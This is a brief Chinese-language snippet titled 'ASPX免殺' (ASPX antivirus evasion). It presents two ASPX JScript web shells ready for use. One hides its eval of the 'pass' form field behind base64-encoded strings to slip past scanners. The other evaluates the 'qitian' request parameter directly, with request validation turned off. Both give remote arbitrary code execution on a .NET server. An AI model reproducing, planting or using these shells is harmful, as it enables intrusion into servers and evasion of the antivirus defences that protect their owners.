ASPX免殺

 

免殺1

<%@ Page Language="Jscript"Debug=true%>
<%
var a=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String
("UmVxdWVzdC5Gb3JtKCJwYXNzIik="));//加密內容為Request.Form("pass");

var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String
("dW5zYWZl")); //加密內容為unsafe;

var c=eval(a,b); 
eval(c,b); 
%>

 

免殺2

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var keng 
keng = Request.Item["qitian"];
Response.Write(eval(keng,"unsafe"));
%>